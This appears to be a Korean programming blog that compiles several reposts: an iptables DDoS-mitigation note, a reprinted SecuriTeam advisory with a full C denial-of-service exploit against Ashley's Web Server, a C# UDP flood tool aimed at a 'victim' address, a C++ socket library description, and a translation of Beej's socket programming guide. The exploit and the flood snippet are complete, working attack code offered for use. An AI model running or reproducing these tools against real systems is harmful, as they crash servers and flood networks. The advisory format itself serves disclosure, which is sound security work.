The PeerConnection class encapsulates a socket connection to a peer node. An object of this class may be initialized with an already-connected socket, or with an IP address/port combination that will be used to open a new socket connection.

'Computer Science' 카테고리의 다른 글

CONREC A Contouring Subroutine  (0) 2009.05.26
Contour Plotting using Java  (0) 2009.05.26
[EXPL] Ashley`s Web Server DoS (Exploit)  (0) 2009.05.18
[C#] UDP flood snippet  (0) 2009.05.18
C++ 소켓 프로그래밍 라이브러러  (0) 2009.05.18

[본문스크랩] IPTABLES - DDoS | 5.DDOS방어 서버

최근 서비스 중에 고객 도메인을 타고 DDoS 공격이 들어와 서비스 서버들에게 영향을 미쳤다.
특별한 하드웨어 장비 및 방화벽이 없기 때문에 서버자체 설정을 함으로써 어느정도 막을 수
있을거라 생각이 들었지만, 대규모의 DDoS 공격에 무용지물이었다.

하지만 리눅스 서버에 Iptables 기능으로 어느정도 효과가 있었고 그 설정에 대해서 정리하겠다.


* IPTABLES

iptables 정책이란 서버에 유입되는 패킷을 어떻게 처리하는가에 대한 정의를 내린다.

크게 2가지 이지만 세부적으로는 3가지로 나눌 수 있다.

- 허가

- 거부

- Accept

- Deny [패킷을 허용하지 않은 다는 메시지를 보내면서 거부를 한다.]

- Drop [패킷을 완전히 무시한다.]

* IPTABLES 기본 형식

iptables -A INPUT -s [근원지] --sport [근원지 포트] -d [목적지] --dport [목적지 포트] -j [정책]

세부적인 정보를 확인하려면 #iptables --help를 확인한다.

* 기본 명령어

iptables -A : rule 추가

iptables -L : rule 목록보기

iptables -L -v : 적용된 policy에 의해 패킷들이 걸리는지 확인
iptables -F : 모든 rule 삭제

iptables -I : rule 해당위치에 추가

* 사용 예.

iptables -A INPUT -p tcp --dport 80 -m recent --update --seconds 1 --hitcount 10 --name HTTP -j DROP

- 1초동안 80포트에 똑같은 IP가 10번 이상의 SYN가 들어오면 드랍시킨다.
이는 정상적인 요청이 아닌 공격으로 간주한다.

자세한 내용은 아래 링크 페이지를 확인 바랍니다.

http://www.cyberciti.biz/tips/linux-iptables-7-how-to-limit-the-number-of-incoming-tcp-connectionsyn-flood-attack.html

* 킁킁 *

'기본 카테고리' 카테고리의 다른 글

GTK 프로그래밍에 필요한 리소스 URL들  (0) 2009.05.19
EasyGTK를 이용한 GUI 프로그래밍  (0) 2009.05.19
mysql linux 해킹  (0) 2009.05.07
atl/wtl 속성강좌  (0) 2009.04.25
atl  (0) 2009.04.25

[EXPL] Ashley's Web Server DoS (Exploit)

From: SecuriTeam <support@securiteam.com.>To: list@securiteam.comDate: 1 May 2005 18:28:18 +0200Subject: [EXPL] Ashley's Web Server DoS (Exploit)Content-Type: text/plain; charset=us-asciiContent-Transfer-Encoding: 7bitMessage-Id: <20050502075415.BF9F757EE@mail.tyumen.ru.>X-Virus-Scanned: antivirus-gw at tyumen.ruThe following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com- - promotionThe SecuriTeam alerts list - Free, Accurate, Independent.Get your security news from a reliable source.http://www.securiteam.com/mailinglist.html - - - - - - - - -  Ashley's Web Server DoS (Exploit)------------------------------------------------------------------------SUMMARY <http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=34274&lngWId=1>; Ashley's "Web Server is simple open source Web Server, it supports perl CGI, directory listings, custom front pages and custom error pages".Buffer overflow condition exists in Ashley's Web Server when a very long text string is passed as argument to server.DETAILSVulnerability:Currently, the server only supports GET without modification of the CGI scripts, although, a full range of $ENV variables are available to the CGI scripts (query_string, remote_addr, server_port, server_addr, etc.)A simple URL driven denial of service or buffer overflow condition occurs when a very long text string is sent to the web service. By sending a especially crafted request to the HTTP server it is possible to cause server crash.Vulnerable code (Form1.frm):otherheaders = Mid(otherheaders, 1, InStr(1, otherheaders, vbNewLine & vbNewLine) - 1)When trying to connect and send GET request ,the source debug code will show:'Run-time error '5';Invalid procedure call or argumentThis cause a remote machine running the web server to stop responding.Exploit:/*  Ashley's Server DoS Exploit---------------------------------INFGP - Hacking&security ResearchResolve host...[OK] [+] Connecting...[OK]Target lockedSending bad procedure...[OK] [*] Server DoS'ed..that must be hurt! Greats: Infam0us Gr0up,Yudha(mephisthopeles),Kavling Community. Info: 98.to/infamous*/#include <string.h>#include <winsock2.h>#include <stdio.h>#pragma comment(lib, "ws2_32.lib")char doscore[] = "GET  HTTP/1.0 ""\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76""\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73""\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54""\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20""\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74""\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70""\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78""\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63""\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a""\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b""\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43""\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b""\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65""\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36""\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c""\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38""\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73""\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68""\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67""\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65""\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69""\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20""\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67""\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70""\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69""\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d""\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63""\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f""\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a""\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41""\x69\x6d\x61\x67\x65\r\n";int main(int argc, char *argv[]){WSADATA wsaData;WORD wVersionRequested;struct hostent *pTarget;struct sockaddr_in sock;char *target;int port,bufsize;SOCKET inetdos;if (argc < 2){printf("        Ashley's Server DoS Exploit \n", argv[0]);printf("  -------------------------------------\n", argv[0]);printf("    INFGP - Hacking&Security Research\n\n", argv[0]);printf("[-]Usage: %s [target] [port]\n", argv[0]);printf("[?]Exam: localhost 80\n", argv[0]);exit(1);}wVersionRequested = MAKEWORD(1, 1);if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;target = argv[1];port = 80;if (argc >= 3) port = atoi(argv[2]);bufsize = 1024;if (argc >= 4) bufsize = atoi(argv[3]);inetdos = socket(AF_INET, SOCK_STREAM, 0);if(inetdos==INVALID_SOCKET){printf("Socket ERROR \n");exit(1);}printf("Resolve host... ");if ((pTarget = gethostbyname(target)) == NULL){printf("FAILED \n", argv[0]);exit(1);}printf("[OK]\n ");memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);sock.sin_family = AF_INET;sock.sin_port = htons((USHORT)port);printf("[+] Connecting... ");if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) ))){printf("FAILED\n");exit(1);}printf("[OK]\n");printf("Target locked\n");printf("Sending bad procedure... ");if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1){printf("ERROR\n");closesocket(inetdos);exit(1);}printf("[OK]\n ");printf("[+] Server DoS'ed\n");closesocket(inetdos);WSACleanup();return 0;}ADDITIONAL INFORMATIONThe information has been provided by  <mailto:basher13@linuxmail.org.> eric basher.
This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

'Computer Science' 카테고리의 다른 글

Contour Plotting using Java  (0) 2009.05.26
The P2P Framework Implementation (Python version)  (0) 2009.05.18
[C#] UDP flood snippet  (0) 2009.05.18
C++ 소켓 프로그래밍 라이브러러  (0) 2009.05.18
인터넷 소켓 활용  (0) 2009.05.18
[C#] UDP flood snippet

Code:
__________________
/////////////////////////////////
// UDP flood by t0fx //
// Give credits if you use it//
/////////////////////////////

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace DDOS
{
class UDP
{
public static string IP = "127.0.0.1"; // IP
public static int Port = 123; // udp port

static void Main(string[] args)
{
IPAddress victimIp = IPAddress.Parse(IP);
IPEndPoint victim = new IPEndPoint(victimIp, Port);
byte[] packet = new byte[1470]; // packet to send
int ms = 1000; // loop every 1000ms
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
Console.WriteLine("Sending UDP packets to : " + IP + " On port : " + Port + " every : " + ms + " ms");
while (true)
{
socket.SendTo(packet, victim);
Thread.Sleep(ms);
}

}

}

}

c++ socket Programming Framework

http://www.alhem.net/Sockets/index.html

C++ Sockets Library

About
This is a GPL licensed C++ class library wrapping the berkeley sockets C API, and therefore works on most unixes and also win32. The library is in use in a number of real world applications, both commercial and open source.

Features include, but are not limited to, SSL support, IPv6 support, tcp and udp sockets, sctp sockets, http protocol, highly customizable error handling. Testing has been done on Linux and Windows 2000, and to some part on Solaris and Mac OS X.

The source code is released under the terms of the GNU GPL, but is also available under an alternative license.

Latest release 2009-05-13: version 2.3.4 - download page.

Please see information about how to configure the library.



Contributed graphics

History
When making this library, there were a few things I wanted to achieve. I did not want to end up with C++ code that had to be used in the same way as the berkeley socket C API are being used ( connect/bind/accept - check result, write - check result, read - check result, etc, etc ). Another thing was the ability to manage multiple sockets in the same thread; the library should be singlethreaded - but not limited to one thread. So.. I never wanted to manage a fd_set for a select() call ever again, no more writing code for accepting a connection - this has already been done again and again in every single networking project ever made.

One decision made early on was to treat one socket as one object. And so was the Socket class born. The socket class, by itself, has all the functions needed for address translation (hostname to ip, ip to hostname etc). It owns the file descriptor / SOCKET handle. But it can't do anything. Code for actually doing something with the socket is implemented in other, Socket derived classes.

The approach; A list of active sockets are monitored using the select() system call. Events resulting from the select() call and surrounding logic (read/write/connect/timeout etc) are reported to each socket using callback methods such as:

  • Socket::OnRead()
  • Socket::OnWrite()
  • Socket::OnConnect()
  • Socket::OnAccept()

The list of sockets are contained in a SocketHandler class. To monitor the sockets, repeated calls to the Select() method are made.

Message board

Post bug reports and feature requests here: C++ sockets library message board - If you are using the C++ sockets library, or have any questions about it. To be notified about the latest changes and additions to the C++ sockets library, subscribe to the project at the C++ sockets library freshmeat.net project page.

External open source projects using the library

Links

BeeJ's Guide to Network Programming.

인터넷 소켓 활용(v.1.5.4, 17-May-1998)

http://www.ecst.csuchico.edu/~beej/guide/net 번역 : 박성호(tempter@fourthline.com),1998/8/20

시작

소켓 프로그램이 어렵나요? 그냥 맨페이지만 보고서는 알아내기가 좀 어럽나요? 뭔가 있어보이는 인터넷 프로그램을 만들고 싶지만 bind()를 호출하고 connect()를 호출하고 이런 저런 구조체를 뒤지고 할 시간이 없나요?

글쎄요, 제가 그 지겨운걸 다 해놓았고요, 여러분과 이 정보를 공유하고 싶군요. 바로 찾아오셨습니다. 이 문서가 바로 평균적인 C 프로그래머에게 네트워크 프로그램에 관련된 정보를 드릴겁니다.


대상

이 문서는 안내서이지 리퍼런스는 아닙니다. 아마도 소켓 프로그래밍을 처음 시작하면서 어디서부터 해야 할지 모르는 사람들에게 도움이 될겁니다. 물론 어떤 의미에서도 이 글은 소켓 프로그래밍에 관한 완벽한 안내서는 아닐 겁니다. 단지 도저히 의미를 알 수 없던 맨페이지들을 조금씩 이해하게 되기만 바랄 뿐입니다.


사용도구

대부분의 코드는 리눅스 PC에서 GNU의 gcc를 이용하여 컴파일 되었습니다. 또한 HPUX에서 gcc를 이용해서 컴파일 된다는 것도 확인했습니다. 그러나 모든 작은 코드들이 테스트 된것은 아니라는 것을 기억하시기 바랍니다.

(이하 존칭 생략)


내용


소켓이란 무엇인가.

소켓이란 단어는 많이 들었을 것이다. 그리고 아마도 그 소켓이 정확히 무엇인가에 대하여 궁금해 하기도 했을 것이다. 소켓은 정규 유닉스 파일 기술자를 이용하여 다른 프로그램과 정보를 교환하는 방법을 의미한다.

뭐라고라?

좋다. 아마도 유닉스를 잘하는 사람들이 이렇게 얘기하는 것을 들어본 적이 있을 것이다. "유닉스에서는 모든게 파일로 되어있군!" 실제로 그들이 얘기하는 것은 모든 유닉스 프로그램들이 어떤 종류의 입출력을 하더라도 파일 기술자를 통해서 하게 된다는 것이다. 파일 기술자는 사실 열려진 파일을 의미하는 정수일 뿐이다. 그러나 그 파일은 네트워크가 될수도 있고 FIFO, 파이프, 터미널, 실제 디스크상의 파일이 될수도 있으며 그 밖의 무엇도 다 된다는 것이다. 유닉스의 모든것은 파일이다! 따라서 당신이 인터넷을 통하여 멀리 떨어진 다른 프로그램과 정보를 교환하기 위해서는 파일 기술자를 이용하면 된다는 것이다. 믿으쇼~

"똑똑이 양반, 그 파일 기술자는 도대체 어떻게 만드는거요?" 라는게 당신의 맘속에 지금 막 떠오른 질문일 것이다. 여기에 대답이 있다. socket()을 호출하면 소켓 기술자를 얻게 되고 send(), recv()등의 소켓에 관련된 함수를 호출하여 정보를 교환할 수 있다. (man send, man recv를 해봐도 됨)

"잠깐!" 이렇게 이의를 제기하겠지. "그 소켓 기술자가 파일 기술자라면 도대체 왜 read(),write()를 쓰면 안되는거요?" 짧게 말하면 맞다. 그러나 send(),recv()를 쓰는 것이 여러모로 네트워크를 통한 정보전달을 제어하기에 도움이 된다는 것이다.

다음은 뭔가? 소켓의 종류는? DARPA 인터넷 주소(인터넷 소켓), 경로명과 지역노드(유닉스 소켓), CCITT X.25 주소(X.25 소켓, 그냥 무시해도 됨)등이 있고 아마도 당신이 쓰는 유닉스에 따라서 더 많은 종류의 소켓들이 있을 것이다. 이 문서는 첫번째 (인터넷 소켓) 하나만 설명할 것이다.


두가지 종류의 소켓

인터넷 소켓에 두가지 종류가 있나? 그렇다. 음..사실은 거짓말이다. 좀 더있긴 하지만 겁을 주고 싶지 않기 때문에 이것 두가지만 이야기 하는 것이다. RAW 소켓이라는 매우 강력한 것도 있으며 한번 봐두는 것도 좋다.

두가지 종류는 무엇인가? 하나는 스트림소켓 이고 다른 하나는 데이터그램 소켓이다. 이후에는 SOCK_STREAM, SOCK_DGRAM으로 지칭될 것이다. 데이터그램 소켓은 비연결 소켓이라고도 한다. (비록 그 소켓에서도 원한다면 connect()를 사용할 수도 있다. connect()절을 참조할것)

스트림 소켓은 양측을 신뢰성있게 연결해 주는 소켓이다. 만약 두가지 아이템을 이 소켓을 통하여 보낸다면 그 순서는 정확히 유지될 것이다. 에러까지 교정된다. 만일 에러가 생긴다면 당신 실수이고 당신실수를 막는 방법은 여기서 설명하지 않을 것이다.

스트림 소켓은 어디에 쓰이는가? 아마도 텔넷이라고 들어봤을 것이다. 들어봤느뇨? 그게 이 소켓을 쓴다. 입력한 모든 글자는 그 순서대로 전달이 되야 하는 경우이다. 사실 WWW사이트의 포트 80에 텔넷으로 접속하여 "GET pagename" 을 입력하면 HTML 화일의 내용이 우르르 나올 것이다.

어떻게 스트림 소켓이 이정도의 정확한 전송 품질을 갖추게 되는가? 이 소켓은 TCP를 이용하기 때문이다. (Transmission Control Protocol, RFC-793에 무척 자세하게 나와있다.) 아마도 TCP 보다는 TCP/IP를 더 많이 들어봤을 것이다. 앞부분은 바로 이 TCP이고 뒷부분의 IP는 인터넷 라우팅을 담당하는 프로토콜이다.

괜찮군~ 데이터그램 소켓은 어떤가? 왜 비연결이라고 하는지? 내용에 무슨 관련이 있는지? 왜 신뢰도가 떨어지지? 사실 이 소켓의 경우 당신이 데이터그램을 보낸다면 정확히 도착할 수도 있다. 또는 패킷들의 순서가 바뀌어서 도착할 수도 있다. 그러나 만약 도착한다면 그 내용은 사실 정확한 것이다.

데이터그램 소켓 또한 라우팅에는 IP를 이용하지만 TCP는 이용하지 않는다. 사실은 UDP(RFC-768)을 이용한다.

연결을 안하는가? 스트림 소켓에서처럼 열려있는 연결을 관리할 필요가 없는 것이다. 그냥 데이터 패킷을 만들어서 목적지에 관련된 IP헤더를 붙여서 발송하기만 하면 되는 것이다. 연결이 필요없다. 보통 tftp나 bootp 에 사용되는 것이다.

좋아! 그러면 데이터 패킷이 도착하지 않을지도 모르는 이런 걸 어떻게 실제 프로그램에서 사용하지? 사실 프로그램들은 UDP위에 그 나름대로의 대책을 갖추고 있는 것이다. 예를 들면 tftp같은 경우에는 하나의 패킷을 보낸 후에 상대편이 잘 받았다는 응답 패킷이 올때까지 기다리는 것이다. 만약 일정시간(예를 들면 5초)동안 응답이 없으면 못받은 것으로 간주하고 다시 보내고, 다시 보내고 응답이 있으면 다음 패킷을 보내고 하게 되는것이다. 이 잘받았다는 응답(ACK reply) 방식은 사실 SOCK_DGRAM을 사용할 경우 매우 중요하다.


네트워크 이론과 저아래의 알수없는 것들

간단히 프로토콜의 레이어에 대해서 언급을 했지만(UDP위에 나름대로의 대책 어쩌구) 이제는 실제로 네트워크가 어떻게 작동하는 지를 알아볼 때가 되었고 실제로 SOCK_DGRAM이 어떻게 구성되는 지를 알아볼 필요가 있을 것같다. 사실 이 절은 그냥 넘어가도 된다.

[Encapsulated Protocols Image] 여러분~ 이제는 데이타 캡슐화에 대하여 배우겠어요~ 사실 이것은 매우 중요하다. 얼마나 중요하냐면 우리 학교에서 네트워크 코스를 통과하려면 반드시 알아야 하는 사항이기 때문이다. (흠..) 내용은 이렇다. 데이터 패킷이 만들어지면 먼저 첫번째 프로토콜(tftp 프로토콜)에 필요한 머리말과 꼬리말이 붙는다. 이렇게 한번 캡슐화된 내용은 다시 두번째 프로토콜(UDP)에 관련된 머리말과 꼬리말이 다시 붙게 된다. 그 다음에는 IP, 그 다음에는 마지막으로 하드웨어 적인 계층으로서 이더넷 프로토콜로 캡슐화가 되는 것이다.

다른 컴퓨터에서 이 패킷을 받게 되면 하드웨어가 이더넷 헤더를 풀고 커널에서 IP와 UDP 헤더를 풀고 tftp 프로그램에서 tftp헤더를 풀고 하여 끝으로 원래의 데이터를 얻게 되는 것이다.

이제 드디어 악명높은 계층적 네트워크 모델(Layered Network Model)을 얘기할 때가 된것 같다. 이 모델은 다른 모델들에 비해서 네트워크의 시스템을 기술하는 측면에서 많은 이점이 있다. 예를 들면 소켓 프로그래밍을 하는 경우 더 낮은 계층에서 어떤 물리적인 방식(시리얼인지 thin ethernet인지 또는 AUI방식인지)으로 전달되는 지에 대하여 전혀 신경을 쓰지 않고도 작업이 가능해 질 수 있다는 것이다. 실제 네트워크 장비나 토폴로지는 소켓 프로그래머에게는 전혀 관계없는 분야이다.

더이상 떠들지 않고 다음 계층들을 일러 주는데 만일 네트워크 코스에서 시험을 보게 될 경우라면 외우는 것이 좋을 것이다.

  • Application
  • Presentation
  • Session
  • Transport
  • Network
  • Data Link
  • Physical

물리적 계층(Physical layer)는 하드웨어(시리얼, 이더넷등) 이다. 어플리케이션 계층은 상상할 수 있듯이 물리적 계층의 반대편 끝이다. 이 계층을 통하여 사용자는 네트워크와 접촉하게 되는 것이다.

사실 이 모델은 자동차 수리 설명서 처럼 실질적인 뭔가를 할 수 있기에는 너무나 일반적인 얘기이다. 유닉스의 경우를 들어 보다 실질적인 얘기를 해 본다면,

  • Application Layer (telnet, ftp, etc.)
  • Host-to-Host Transport Layer (TCP, UDP)
  • Internet Layer (IP and routing)
  • Network Access Layer (was Network, Data Link, and Physical)

이러한 계층으로 살펴 본다면 아까의 데이터 캡슐화가 각각 어떤 계층에 속하는 가를 알 수 있을 것이다.

이렇게 많은 작업이 하나의 데이터 패킷을 만드는데 동원되는 것이다. 이 내용을 당신이 데이터의 패킷 머리부분에 몽땅 타이핑 해 넣어야 한다는 얘기다. (물론 농담이다.) 스트림 소켓의 경우 데이터를 내보내기 위해 해야 할 일은 오직 send()를 호출하는 것 뿐이다. 데이터 그램의 경우에는 원하는 방식으로 데이터를 한번 캡슐화하고 (tftp방식등) sendto()로 보내버리면 되는 것이다.커널이 전송계층과 인터넷 계층에 관련된 캡슐화를 하고 나머지는 하드웨어가 한다. 아~ 첨단 기술!!

이것으로 간단한 네트워크 이론은 끝이다. 참, 라우팅에 관해서 하고 싶던 얘기들을 하나도 안했다. 흠, 하나도 없다. 정말이지 라우팅에 관해서 하나도 얘기하지 않을 것이다. 라우터가 IP헤더를 벗겨내서 라우팅 테이블을 참조하여 어쩌구 저쩌구...만일 정말로 여기에 관심이 있다면 IP RFC를 참조할 것이며 만약 거기에 대해서 하나도 알지 못한다면! 생명에 지장은 없다.


struct S

결국은 여기까지 왔군. 드디어 프로그래밍에 관한 얘기를 할 때이다. 이 절에서는 실제로 꽤나 이해하기 어려운 소켓 인터페이스에서 쓰이는 여러가지 데이터 타입에 대한 얘기를 할 예정이다.

먼저 쉬운것. 소켓 기술자이다.소켓 기술자의 데이터 형은

	int

이다. 그냥 보통 int이다. (정수형)

뭔가 좀 이상하더라도 그냥 참고 읽기 바란다. 이것은 알아야 한다. 정수에는 두 바이트가 있는데 상위 바이트가 앞에 있거나 또는 하위 바이트가 앞에 있게 된다. 앞의 경우가 네트워크 바이트 순서이다. 어떤 호스트는 내부적으로 네트워크 바이트 순서로 정수를 저장하는 경우도 있으나 안그런 경우가 많다. 만일 NBO라고 언급된 정수가 있다면 함수를 이용하여 (htons()함수) 호스트 바이트 순서로 바꾸어야 한다. 만약 그런 언급이 없다면 그냥 내버려 둬도 된다.

첫번째 구조체, struct sockaddr. 이 구조체는 여러가지 형태의 소켓 주소를 담게된다.

    struct sockaddr {        unsigned short    sa_family;    /* address family, AF_xxx       */        char              sa_data[14];  /* 14 bytes of protocol address */    };

sa_family 는 여러가지가 될 수 있는데, 이 문서에서는 그중에서 "AF_INET"인 경우만 다루게 된다. sa_data 는 목적지의 주소와 포트번호를 가지게 된다. 약간 비실용적이군.

sockaddr 구조체를 다루기 위해서는 다음과 같은 parallel structure를 만들어야 한다. ("in"은 인터넷을 의미한다.)

    struct sockaddr_in {        short int          sin_family;  /* Address family               */        unsigned short int sin_port;    /* Port number                  */        struct in_addr     sin_addr;    /* Internet address             */        unsigned char      sin_zero[8]; /* Same size as struct sockaddr */    };

이 구조체는 각각의 항을 참조하기가 좀더 쉬운 것 같다. 주의할 점은 sin_zero배열은 sockaddr 과 구조체의 크기를 맞추기 위해서 넣어진 것이므로 bzero()memset()함수를 이용하여 모두 0으로 채워져야 한다. 또한 꽤 중요한 점인데, 이 구조체는 sockaddr 의 포인터를 이용하여 참조될 수 있고 그 반대도 가능하다는 것이다. 따라서 socket()함수가 struct sockaddr * 를 원하더라도 struct sockaddr_in을 사용할 수 있고 바로 참조할 수도 있는 것이다. 또한 sin_familysa_family에 대응되는 것이며 물론 "AF_INET"로 지정되어야 하며 sin_port, sin_addr은 네트워크 바이트 순서로 되어야 하는 점이 중요한 것이다.

그러나! 어떻게 struct in_addr sin_addr 전체가 NBO가 될 수 있는가? 이 질문은 살아남은 가장 뭣같은 유니온인 struct in_addr 에 대한 보다 신중한 검토가 필요할 것같다.

    /* Internet address (a structure for historical reasons) */    struct in_addr {        unsigned long s_addr;    };

음.. 이것은 유니온 "이었었"다. 그러나 그런 시절은 지나갔다. 시원하게 없어졌군! 따라서 만약 "ina"를 struct sockaddr_in형으로 정의해 놓았다면 ina.sin_addr.s_addr 로 NBO 상태의 4바이트 인터넷 어드레스를 정확하게 참조할 수 있을 것이다. 만약 사용하는 시스템이 struct in_addr에 그 끔찍한 유니온을 아직도 사용하고 있더라도 #defines S 덕분에 위에 한것과 마찬가지로 정확하게 참조할 수는 있을 것이다.


순서 바꾸기

이제 다음 절로 왔다. 네트워크와 호스트 바이트 순서에 대해서 말이 너무 많았고 이제는 실제 움직일 때라고 본다.

좋다. 두가지 형태의 변환이 있는데 하나는 short(2 바이트)와 long(4바이트)의 경우이다. 이 함수들은 unsigned변수에서도 잘 작동된다. 이제 short변수를 호스트 바이트 순서에서 네트워크 바이트 순서로 변환하는 경우를 보자. 호스트의 h 로 시작해서 to 를 넣고 네트워크의 n 을 넣은 후 short의 s 를 넣는다. 그래서 htons()이다. (읽기는 호스트 투 네트워크 쇼트이다.)

너무 쉬운가?

사실 h,n,s,l 의 어떤 조합도 사용가능하다. (물론 너무 바보스러운 조합을 하지는 않겠지..예를 들어 stolh, 쇼트 투 롱 호스트?? 이런건 없다. 적어도 이 동네에서는없다.) 있는 것들은 다음과 같다.

  • htons()--"Host to Network Short"
  • htonl()--"Host to Network Long"
  • ntohs()--"Network to Host Short"
  • ntohl()--"Network to Host Long"

아마도 이제 상당히 많이 알게된 것같이 생각들을 할 것이다. "char의 바이트 순서를 어떻게 바꾸지?(역자주: 이 질문은 아마 의미없는 질문으로 한 것 같은데 답도 없고 더이상의 언급이 없는 것으로 보아 빼고 싶은 부분이다.)" 또는 "염려마, 내가 쓰는 68000 기계는 이미 네트워크 바이트 순서로 정수를 저장하니까 변환할 필요는 없어 " 라고 생각할 수도 있을 것이다. 그러나 꼭 그렇지만은 않다. 그렇게 작성된 프로그램을 다른 기계에서 작동시킨다면 당연히 문제가 발생할 것이다. 여기는 유닉스 세계고 이기종간의 호환성은 매우 중요한 것이다. 반드시 네트워크에 데이터를 보내기 전에 네트워크 바이트 순서로 바꿔서 보낸다는 것을 기억할 지어다.

끝으로 sin_addr, sin_port는 네트워크 바이트 순서로 기록하는데 왜 sin_family는 안 그러는가? 답은 간단하다. sin_addrsin_port는 캡슐화되어 네트워크로 전송되어야 하는 변수인 것이다. 따라서 당연히 NBO여야 한다. 그러나 sin_family는 시스템 내부에서 커널에 의해서만 사용되는 변수이며 네트워크로 전송되지 않는 것이므로 호스트 바이트 순서로 기록되어야 하는 것이다.


IP주소는 무엇이며 어떻게 다루는가?

다행스럽게도 IP주소를 산정해 주는 수많은 함수들이 있으며 따라서 4바이트의 long변수에 직접 계산해서 << 연산자를 이용해서 집어넣어야 하는 수고는 할 필요가 없다.

먼저 struct sockaddr_IN ina가 정의되어 있고 132.241.5.10 이 IP 주소이며 이 값을 변수에 넣어야 한다고 가정해 보자. inet_addr()함수가 바로 이럴때 사용하는 것이다. 그 함수는 숫자와 점으로 구성된 IP주소를 unsigned long 변수에 집어 넣어 준다. 다음과 같이 하면 된다.

ina.sin_addr.s_addr = inet_addr("132.241.5.10")

inet_addr()는 결과값으로 이미 NBO인 값을 돌려주며 굳이 htonl()을 또 사용할 필요는 없다는 점에 주의해야 한다. 멋지군!

그러나 위의 짤막한 코드는 그렇게 견실해 보이진 않는다. 왜냐하면 inet_addr()은 에러의 경우 -1을 돌려주게 되며 unsigned long에서 -1은 255.255.255.255를 의미한다. 이는 인터넷 브로드캐스트 어드레스가 된다. 나쁜 녀석. 항상 에러 처리를 확실히 하는것이 좋다.

좋다. 이제 IP주소를 long에 넣는것은 알았는데 그 반대는 어떻게 할 것인가? 만약에 값이 들어있는 struct in_addr은 가지고 있는데 이를 숫자와 점으로 표시하려면? 이 경우는 inet_ntoa()를 쓰면 된다.(ntoa 는 네트워크 투 아스키이다.)

    printf("%s",inet_ntoa(ina.sin_addr));

위의 코드는 IP주소를 프린트 해 줄것이다. 이 함수는 long 변수가 아니라 struct in_addr 를 변수로 받아 들인다는 점을 주의해야 한다. 또한 이 함수는 char 에 대한 포인터를 결과로 돌려 주는데 이는 함수내에 static 한 공간에 저장되며 따라서 매번 함수가 호출될 때마다 이 포인터가 가리키는 곳의 값은 변화한다는 것이다. 즉 예를 들면,

    char *a1, *a2;    .    .    a1 = inet_ntoa(ina1.sin_addr);  /* this is 198.92.129.1 */    a2 = inet_ntoa(ina2.sin_addr);  /* this is 132.241.5.10 */    printf("address 1: %s\n",a1);    printf("address 2: %s\n",a2);

의 출력은 이렇게 나올 것이다.

    address 1: 132.241.5.10    address 2: 132.241.5.10

만약에 이 값을 저장해야 할 필요가 있다면 strcpy()를 이용하여 고유의 char 배열에 저장해야 할 것이다.

